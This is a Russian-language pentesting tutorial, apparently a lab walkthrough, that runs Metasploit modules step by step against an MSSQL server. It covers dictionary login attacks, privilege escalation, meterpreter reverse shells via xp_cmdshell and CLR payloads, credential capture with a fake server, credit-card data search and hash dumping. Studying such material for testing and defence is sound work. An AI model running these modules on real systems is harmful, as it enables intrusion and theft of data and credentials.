В этой статье пойдет речь о пентестинге MSSQL с помощью программы Metasploit. Читатели ближе познакомятся с характерными чертами и возможностями инструмента.​

Metasploit – это отличный фреймворк, разработанный H.D. Moore. Он представляет собой бесплатный инструмент для тестирования на проникновение. Программа является кроссплатформенной и имеет открытый исходный код, а также обладает целым рядом полезных функций. Она стала очень популярной, потому что профессионалы считают ее мощным инструментом для проведения аудита безопасности. Так оно и есть: у Metasploit множество функций, которые помогут пользователям защитить себя. Стоит отметить, что инструмент может инкапсулировать эксплойт, который обязательно понадобится пентестеру.

Далее читатели узнают, как можно использовать Metasploit для тестирования и проведения эксплойта MSSQL. Будет рассмотрен каждый эксплойт, который Metasploit может предложить, шаг за шагом, от поиска сервера MSSQL в сети до извлечения конфиденциальной информации из базы данных и получения полного контроля. Не стоит больше говорить – самое время перейти к сути.

Поиск сервера​

При тестировании серверов MSSQL, будь то удаленно или локально, в первую очередь нужно найти сам сервер в сети. Для этого следует использовать следующий эксплойт в Metasploit:

Код:
use auxiliary/scanner/mssql/mssql_ping set rhosts 192.168.1.1/24 exploit

Как можно увидеть на изображении выше, эксплойт предоставит пользователю подробную информацию об активном сервере в сети.

Получение учетных данных для входа​

Пользователь нашел сервер, поэтому следующий шаг – получить учетные данные. Для этого он проведет атаку с использованием словаря с помощью следующего эксплойта:

Код:
use auxiliary/scanner/mssql/mssql_login
set rhosts 192.168.1.3
set user_file /root/users.txt
set verbose false
exploit


Получение привилегий (системный администратор)​

Теперь, когда у пользователя есть учетные данные, нужно проверить, какие права имеет юзер, например, является ли он системным администратором. Для дальнейшей практической части нужен пользователь с правами сисадмина. Человек будет использовать следующий эксплойт:

Код:
use auxiliary/admin/mssql/mssql_escalate_dbowner
set rhosts 192.168.1.3
set username lowpriv
set password [email protected]
exploit


Теперь понятно, что данный пользователь не имеет привилегий системного администратора. Поэтому следует попытаться выяснить, может ли он выдавать себя за любого другого пользователя, имеющего права системного администратора. Для этого необходимо применить следующий эксплойт:

Код:
use auxiliary/admin/mssql/mssql_escalate_execute_as
set rhosts 192.168.1.3
set username lowpriv
set password [email protected]
exploit

Теперь стало известно, что пользователь с низким уровнем привилегий может выдавать себя за Sa-пользователя. Пользователь Sa является системным администратором, и с помощью вышеупомянутого эксплойта любой юзер может стать им.

Если запустить предыдущий эксплойт mssql_escalate_dbowner, то пользователь увидит, что повышение привилегий не требуется из-за «изменения роли».


Эксплойт xp_cmdshell​

Пользователь уже нашел сервер MSSQL в сети, получил учетные данные, выдал себя за сисадмина, чтобы иметь более высокие привилегии. Итак, теперь нужно попробовать заполучить сеанс meterpreter сервера с помощью эксплойта xp_cmdshell:

Код:
use exploit/windows/mssql/mssql_payload
set rhosts 192.168.1.3
set username lowpriv
set password [email protected]
exploit


Эксплойт пытается помочь пользователю получить сеанс. Как только xp_cmdshell будет успешно осуществлен, человек завладеет сеансом meterpreter.


Перечисление MSSQL​

Пользователь перечислит сервер и посмотрит, какую информацию он может получить, а также ознакомится с параметрами конфигурации. Для этого будет использоваться следующий эксплойт:

Код:
use auxiliary/admin/mssql/mssql_enum
set rhosts 192.168.1.3
set username lowpriv
set password [email protected]
exploit


В результате выполнения вышеописанного эксплойта пользователь смог увидеть, какие разрешения предоставлены базе данных, какие учетные записи доступны, а также некоторую другую полезную информацию.

Перечисление пользователей для входа в систему​

MSSQL предоставляет различным пользователям возможность для входа на сервер. Доступ к серверу можно получить через все учетные записи пользователей Windows и учетные записи в базе данных. Благодаря Metasploit у пользователя есть эксплойт для перечисления всех их. Он выглядит следующим образом:
Код:
use auxiliary/admin/mssql/mssql_enum_sql_logins
set rhosts 192.168.1.3
set username lowpriv
set password [email protected]
exploit


И в результате человек получает нужную ему информацию со списком всех пользователей.

Выполнение запросов MSSQL​

В Metasploit есть эксплойт, который поможет удаленно выполнять все запросы MSSQL. По умолчанию он запускает «[email protected]@version», но пользователь может перейти к любому желаемому запросу с помощью команды «set SQL *query*». Для развертывания указанного эксплойта нужно использовать следующий набор команд:

Код:
use auxiliary/admin/mssql/mssql_sql
set rhosts 192.168.1.3
set username lowprwiv
set password [email protected]
exploit


С помощью описанного выше эксплойта у пользователя есть подробная информация о сервере.

Эксплойт Mssql_exec​

Следующий эксплойт поможет воспользоваться преимуществами хранимой процедуры xp_cmdshell. Ранее в этой статье пользователь восстановил учетные данные сервера. Теперь, с помощью них можно вызвать хранимую процедуру xp_cmdshell и выполнить любую команду, которую человек захочет. Чтобы развернуть указанный эксплойт, нужно ввести данную команду:

Код:
use auxiliary/admin/mssql/mssql_exec
set rhosts 192.168.1.3
set username lowpriv
set password [email protected]
set cmd "net user"
exploit


Эксплойт выполнен успешно – человек добился желаемого результата, т.е. получил список всех пользователей сети.

Выполнение SQL-запроса с помощью файла в формате .sql​

Другой способ выполнить нужную команду — сначала записать синтаксис Sql в файл .sql, используя:

Код:
cat user.sql
CREATE LOGIN test1 WITH PASSWORD = '[email protected]';

Теперь пользователь может использовать этот файл .sql для удаленного запуска процессов на сервере с помощью следующего эксплойта:

Код:
use auxiliary/admin/mssql/mssql_sql_file
set rhosts 192.168.1.3
set username lowpriv
set password [email protected]
set sql_file /root/user.sql
exploit


Как результат, будет создан пользователь с именем test1. Человек может вручную перейти на сервер и подтвердить создание пользователя.


Создание базы данных​

Обычно на любом сервере MSSQL, который тестируется, уже есть база данных. Однако так как сервер, на котором осуществляется тестирование на проникновение, является новым, так как пользователь хотел показать установку лабы, чтобы следующий эксплойт работал, следует создать базу данных. Чтобы сделать это, надо использовать следующую команду:

Код:
create database bank;



Поскольку приведенный выше запрос успешно выполняется, следующий шаг – ввести данный запрос:

Код:
CREATE TABLE Customers (
CustomerID int,
LastName varchar(255),
FirstName varchar(255),
passw varchar(255),
creditcard varchar(255)
);



Как видно на экране, таблица создана. Теперь следует добавить данные в таблицу с помощью следующего запроса:

Код:
INSERT INTO Customers(CustomerID, LastName, FirstName, passw, creditcard)
VALUES ('01', 'Technologies','Ignite', 'admin123', '1111-2222-3333-4444');
INSERT INTO Customers(CustomerID, LastName, FirstName, passw, creditcard)
VALUES ('02', 'Sharma','Nisha', 'admin1234', '5555-6666-7777-8888');
INSERT INTO Customers(CustomerID, LastName, FirstName, passw, creditcard)
VALUES ('03', 'Chandel','Raj', 'admin12345', '9999-1010-1020-1030');
INSERT INTO Customers(CustomerID, LastName, FirstName, passw, creditcard)
VALUES ('04', 'Madan','Geet', 'admin12311', '1234-5678-9012-3456');


Таким образом, база данных будет создана.

Поиск выборочных данных​

Теперь, когда у пользователя есть база данных, нужно понять, как он может получить ее содержимое с помощью Metasploit. К счастью, у инструмента есть особый эксплойт, который использует определенные ключевые слова для сопоставления элементов в базе данных, а затем выдает всю информацию, связанную с этими ключевыми словами. Сами ключевые слова задаются пользователем. Следует использовать данный тип эксплойта:

Код:
use auxiliary/admin/mssql/mssql_findandsampledata
set rhosts 192.168.1.3
set username lowpriv
set password [email protected]
set sample_size 4
set keywords FirstName|passw|credit
exploit


Таким образом, использование вышеупомянутого эксплойта поможет найти необходимую информацию в базе данных. Например, данные, которые человек смог получить, содержали информацию о кредитных картах пользователей.

SchemaDump​

Следующий эксплойт, который пользователь собирается использовать, произведёт dumb SQL-сервера. Чтобы задействовать его, нужно ввести следующий набор команд:

Код:
use auxiliary/scanner/mssql/mssql_schemadump
set rhosts 192.168.1.3
set username lowpriv
set password [email protected]
exploit


И вот, с помощью вышеупомянутого эксплойта, у пользователя есть данные с сервера.

Захват логина MSSQL​

Следующий эксплойт, который пользователь собирается использовать, — capture/ms sql. Он создает поддельный сервер и пытается захватить аутентифицированные учетные данные с исходного сервера. Чтобы задействовать его, подойдет данная команда:

Код:
use auxiliary/server/capture/mssql
set srvhost 192.168.1.2
exploit


Теперь, например, если пользователь попытается войти на сервер, у него будут учетные данные:

SQL:
sqsh -S 192.168.1.2 -U sa -P "[email protected]"


И когда он проверит свой Metasploit, вуаля! У пользователя будут правильные учетные данные для входа на сервер.


Использование CLRIntegration​

Следующий эксплойт поможет воспользоваться преимуществами интеграции CLR. Он позволит интегрировать CLR, а также активирует свойство надежной базы данных. После того, как эксплойт предоставит пользователю сеанс, программа восстановит все настройки в их первоначальном виде. Чтобы использовать его, следует ввести команду:

SQL:
use exploit/windows/mssql/mssql_clr_payload
set payload windows/x64/meterpreter/reverse_tcp
set rhosts 192.168.1.3
set username lowpriv
set password [email protected]
exploit


Как видно, интеграция прошла успешно. Сеанс meterpreter получен.

Hashdump​

И последний, но не менее важный: данный эксплойт используется для сброса хэшей пользователей с сервера. Чтобы применить его, нужно ввести:
SQL:
use auxiliary/scanner/mssql/mssql_hashdump
set rhosts 192.168.1.149
set username sa
set password [email protected]
expoit


Примечание: эксплойт hashdump работает только на MSSQL Server 2012.

Подводя итог, Metasploit является одним из лучших инструментов для тестирования серверов MSSQL, поскольку он имеет множество эксплойтов и функций.